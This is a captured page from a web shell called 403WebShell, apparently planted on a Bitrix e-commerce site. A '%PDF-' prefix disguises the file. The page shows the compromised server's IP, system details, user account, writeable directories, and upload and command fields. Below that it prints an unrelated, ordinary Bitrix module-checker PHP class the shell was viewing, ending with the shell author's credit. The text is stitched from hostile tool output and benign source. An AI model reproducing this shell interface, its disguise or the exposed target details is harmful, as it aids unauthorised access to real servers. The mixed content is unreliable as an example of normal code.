%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.216.182.53
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.crm.site.master/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.crm.site.master/tools/modulechecker.php
<?php
namespace Bitrix\Sale\CrmSiteMaster\Tools;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use Bitrix\Main,
	Bitrix\Main\Config\Option,
	Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

/**
 * Class ModuleChecker
 * @package Bitrix\Sale\CrmSiteMaster\Tools
 */
class ModuleChecker
{
	const IS_MODULE_INSTALL = "~IS_MODULE_INSTALL";

	private $modulesRequired = [];

	/**
	 * ModuleChecker constructor.
	 * @param array $modulesRequired
	 */
	public function setRequiredModules(array $modulesRequired)
	{
		$this->modulesRequired = $modulesRequired;
	}

	/**
	 * @return array
	 */
	public function getRequiredModules()
	{
		return $this->modulesRequired;
	}


	/**
	 * Check existence of required modules
	 *
	 * @return array
	 */
	public function getNotExistModules()
	{
		$notExistModule = [];

		foreach ($this->modulesRequired as $moduleName => $moduleData)
		{
			if (!Main\IO\Directory::isDirectoryExists($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/".$moduleName))
			{
				$notExistModule[$moduleName] = $moduleData;
			}
		}

		return $notExistModule;
	}

	/**
	 * Check availability of required modules
	 *
	 * @param array $notExistModule
	 * @return array
	 */
	public function checkAvailableModules($notExistModule)
	{
		$result = [
			"MODULES" => [],
			"ERROR" => []
		];

		$moduleList = $this->getUpdatesList();
		$result["MODULES"] = array_diff(array_keys($notExistModule), $moduleList["MODULES"]);
		$result["ERROR"] = $moduleList["ERROR"];

		return $result;
	}

	/**
	 * Checks required modules
	 */
	public function checkInstalledModules()
	{
		$result = [
			"NOT_INSTALL" => [],
			"MIN_VERSION" => []
		];

		foreach ($this->modulesRequired as $moduleName => $moduleData)
		{
			if (Main\ModuleManager::getVersion($moduleName) === false)
			{
				$result["NOT_INSTALL"][$moduleName] = $moduleData;
			}

			$version = $this->getModuleVersion($moduleName);
			if ($version !== false
				&& !empty($moduleData["version"])
				&& (version_compare($version, $moduleData["version"]) === -1))
			{
					$result["MIN_VERSION"][$moduleName] = [
						"NAME" => $moduleData["name"],
						"REQUIRED_VERSION" => $moduleData["version"],
						"CURRENT_VERSION" => $version,
					];
			}
		}

		return $result;
	}

	/**
	 * @param $moduleName
	 * @return bool|mixed|string
	 */
	private function getModuleVersion($moduleName)
	{
		$moduleName = preg_replace("/[^a-zA-Z0-9_.]+/i", "", trim($moduleName));
		if ($moduleName == '')
			return false;

		if ($moduleName === "main")
		{
			if (!defined("SM_VERSION"))
			{
				include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/version.php");
			}
			$version = SM_VERSION;
		}
		else
		{
			$modulePath = getLocalPath("modules/".$moduleName."/install/version.php");
			if ($modulePath === false)
				return false;

			$arModuleVersion = array();
			include($_SERVER["DOCUMENT_ROOT"].$modulePath);
			$version = (array_key_exists("VERSION", $arModuleVersion)? $arModuleVersion["VERSION"] : false);
		}

		return $version;
	}

	/**
	 * Get modules for update
	 *
	 * @return array
	 */
	private function getUpdatesList()
	{
		$result = [
			"MODULES" => [],
			"ERROR" => []
		];

		try
		{
			$stableVersionsOnly = Option::get("main", "stable_versions_only", "N");
		}
		catch (\Exception $ex)
		{
			$stableVersionsOnly = "N";
		}

		$errorMessage = "";
		if ($arUpdateList = \CUpdateClient::GetUpdatesList($errorMessage, LANGUAGE_ID, $stableVersionsOnly))
		{
			if (isset($arUpdateList["ERROR"]))
			{
				/** @noinspection PhpVariableNamingConventionInspection */
				for ($i = 0, $cnt = count($arUpdateList["ERROR"]); $i < $cnt; $i++)
				{
					if (
						($arUpdateList["ERROR"][$i]["@"]["TYPE"] != "RESERVED_KEY")
						&& ($arUpdateList["ERROR"][$i]["@"]["TYPE"] != "NEW_UPDATE_SYSTEM")
					)
					{
						$errorMessage .= "[".$arUpdateList["ERROR"][$i]["@"]["TYPE"]."] ".$arUpdateList["ERROR"][$i]["#"];
					}
					elseif ($arUpdateList["ERROR"][$i]["@"]["TYPE"] == "NEW_UPDATE_SYSTEM")
					{
						$errorMessage .= Loc::getMessage("SALE_CSM_WIZARD_MODULECHECKER_UPDATE_SYSTEM_HINT");
					}
					else
					{
						$errorMessage .= Loc::getMessage("SALE_CSM_WIZARD_MODULECHECKER_RESERVED_KEY_HINT");
					}
				}
			}
			elseif (isset($arUpdateList["MODULES"][0]["#"]["MODULE"]))
			{
				/** @noinspection PhpVariableNamingConventionInspection */
				for ($i = 0, $cnt = count($arUpdateList["MODULES"][0]["#"]["MODULE"]); $i < $cnt; $i++)
				{
					$arModuleTmp = $arUpdateList["MODULES"][0]["#"]["MODULE"][$i];
					$moduleId = $arModuleTmp["@"]["ID"];
					$result["MODULES"][] = $moduleId;
				}
			}
		}

		if ($errorMessage)
		{
			$result["ERROR"] = $errorMessage;
		}

		return $result;
	}

	/**
	 * @throws Main\ArgumentOutOfRangeException
	 */
	public function setInstallStatus()
	{
		Option::set("sale", self::IS_MODULE_INSTALL, "Y");
	}

	/**
	 * @return bool
	 * @throws Main\ArgumentNullException
	 * @throws Main\ArgumentOutOfRangeException
	 */
	public function isModuleInstall()
	{
		return Option::get("sale", self::IS_MODULE_INSTALL, "N") === "Y";
	}

	/**
	 * @throws Main\ArgumentNullException
	 */
	public function deleteInstallStatus()
	{
		Option::delete("sale", ["name" => self::IS_MODULE_INSTALL]);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit